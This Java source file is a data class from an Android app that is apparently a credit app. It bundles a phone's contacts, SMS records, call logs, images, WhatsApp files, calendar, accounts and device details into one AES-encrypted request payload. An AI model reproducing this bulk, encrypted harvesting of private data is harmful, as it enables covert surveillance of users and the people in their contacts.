package com.test.deencredit.analytics_deencredit.data_sdk_deencredit.beans_deencredit;

import com.google.gson.Gson;
import com.test.deencredit.analytics_deencredit.data_sdk_deencredit.ASBuilder_deencredit;
import com.test.deencredit.config_deencredit.Constant_deencredit;
import com.test.deencredit.util_deencredit.AESCryptUtil_deencredit;
import com.test.deencredit.util_deencredit.UserInfoUtil_deencredit;

import java.util.List;

public class ASRequestPms_deencredit {

    public String app;
    public String token;
    public String product;
    public String androidId;
    public String advertId;
    public String orderId;
    public String tz;
    public String packageName;
    public String transactionId;
    public String type;
    public String userPhone;
    public String version = "40";
    public String client = "ANDROID";
    public ASDecBn_deencredit deviceInfo;
    public String appListGzip;
    public List<ASCtctBn_deencredit> contacts;
    public String smsRecordsGzip;
    public String smsFetchType;
    public String userImagesGzip;
    public String deviceHardwareGzip;
    public String deviceStorageGzip;
    public String deviceWifiGzip;
    public String deviceBatteryGzip;
    public String deviceMediaGzip;
    public String callLogListGzip;
    public String bookList;
    public String phoneBooksGzip;
    public String calendarGzip;
    public String settingAccountGzip;
    public String whatsAppFilesGzip;
    public String path;

    public ASRequestPms_deencredit() {
        this.app = Constant_deencredit.PRODUCT_deencredit;
        this.product = Constant_deencredit.PRODUCT_deencredit;
        this.token = UserInfoUtil_deencredit.getInstance_deencredit().getToken_deencredit();
        this.androidId = ASBuilder_deencredit.KEY_ANDROID;
        this.orderId = ASBuilder_deencredit.KEY_ORDER_ID;
        this.advertId = ASBuilder_deencredit.KEY_ADVERT_ID;
        this.tz = ASBuilder_deencredit.KEY_TZ;

    }

    public String getTp_deencredit() {
        return this.type;
    }

    public void setTp_deencredit(String paramString) {
        this.type = paramString;
    }

    public String getUP_deencredit() {
        return this.userPhone;
    }

    public void setUP_deencredit(String paramString) {
        this.userPhone = paramString;
    }

    public void setSRG_deencredit(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public String getUIG_deencredit() {
        return userImagesGzip;
    }

    public void setUIG_deencredit(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public String getBL_deencredit() {
        return bookList;
    }

    public void setProduct_deencredit(String product) {
        this.product = product;
    }

    public String getCG_deencredit() {
        return calendarGzip;
    }

    public void setCG_deencredit(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }

    public void setTI_deencredit(String paramString) {
        this.transactionId = paramString;
    }

    public String getVs_deencredit() {
        return this.version;
    }

    public void setVs_deencredit(String paramString) {
        this.version = paramString;
    }

    public String getTk_deencredit() {
        return token;
    }

    public void setTk_deencredit(String token) {
        this.token = token;
    }

    public String getPN_deencredit() {
        return this.packageName;
    }

    public void setPN_deencredit(String paramString) {
        this.packageName = paramString;
    }

    public ASDecBn_deencredit getDecI_deencredit() {
        return deviceInfo;
    }

    public void setDecI_deencredit(ASDecBn_deencredit deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public String getALG_deencredit() {
        return appListGzip;
    }

    public void setALG_deencredit(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public List<ASCtctBn_deencredit> getCts_deencredit() {
        return contacts;
    }

    public void setCts_deencredit(List<ASCtctBn_deencredit> contacts) {
        this.contacts = contacts;
    }

    public String getSRG_deencredit() {
        return smsRecordsGzip;
    }

    public String getSAG_deencredit() {
        return settingAccountGzip;
    }

    public void setSAG_deencredit(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public String getWAFG_deencredit() {
        return whatsAppFilesGzip;
    }

    public void setWAFG_deencredit(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public String getCLLG_deencredit() {
        return callLogListGzip;
    }

    public void setCLLG_deencredit(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public String toEncryptParams_deencredit(String path){
        this.path = path;
        String content = new Gson().toJson(this).trim();
        return AESCryptUtil_deencredit.encryptDefault_deencredit(content);
    }

    public void setBL_deencredit(String bookList) {
        this.bookList = bookList;
    }

    public String getPBG_deencredit() {
        return phoneBooksGzip;
    }

    public void setPBG_deencredit(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public String getClt_deencredit() {
        return client;
    }

    public void setClt_deencredit(String client) {
        this.client = client;
    }

    public String getDHG_deencredit() {
        return deviceHardwareGzip;
    }

    public void setDHG_deencredit(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public String getDSG_deencredit() {
        return deviceStorageGzip;
    }

    public void setDSG_deencredit(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public String getDWG_deencredit() {
        return deviceWifiGzip;
    }

    public void setDWG_deencredit(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public String getDBG_deencredit() {
        return deviceBatteryGzip;
    }

    public void setDBG_deencredit(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public String getDMG_deencredit() {
        return deviceMediaGzip;
    }

    public void setDMG_deencredit(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public String getSFT_deencredit() {
        return smsFetchType;
    }

    public void setSFT_deencredit(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public String getApp_deencredit() {
        return app;
    }

    public void setApp_deencredit(String app) {
        this.app = app;
    }

    public String getProduct_deencredit() {
        return product;
    }

    public String getTI_deencredit() {
        return this.transactionId;
    }
}
